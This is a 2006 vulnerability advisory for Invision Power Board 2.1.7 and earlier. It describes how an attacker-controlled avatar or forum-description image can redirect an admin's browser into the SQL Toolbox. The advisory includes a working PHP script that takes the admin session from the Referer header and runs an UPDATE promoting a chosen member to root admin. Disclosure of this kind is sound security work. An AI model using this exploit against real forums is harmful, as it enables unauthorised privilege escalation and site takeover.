IPB-2.1.7.txt
Posted on 07 October 2006
Invision Power Board Multiple Vulnerabilities Affects: IPB <=2.1.7 Risk: High An attack exists where an admin can be redirected and forced to execute SQL commands through IPB's SQL Toolbox. The following requirements must be met for this attack to take place: - The database table prefix must be known - The admin must have access to the SQL Toolbox (any "root admin") - The admin must have images and referers turned on in their browser, and their browser must follow Location headers (default behaviour for most browsers) - The admin must view a malicious script as an image in their browser. This attack works invisibly to the admin because only the image is redirected, not the page. 1st method: In this method, any user can force the admin to execute SQL commands. 1. A user sets their avatar to the malicious script's address 2. The admin looks up the user's account in the Admin CP 3. The user's avatar is shown and the admin is redirected.... 2nd method: A restricted admin can add any HTML to a forum's description(including javascript). 1. A restricted admin adds the malicious script as an image to a forum's description. 2. Upon going to the "Manage Forums" link in Admin CP, an unrestricted admin will be redirected and the SQL will be executed. Example malicious image script: <?php //The member id to promote to root admin $mid = 145; //The database prefix (usually "ibf_") $prefix = "ibf_"; if (preg_match('/(.*adsess=[\w]{32})/', $_SERVER['HTTP_REFERER'], $admin_loc) and $mid) { header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where+id%3D{$mid}+LIMIT+1"); } ?> __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com
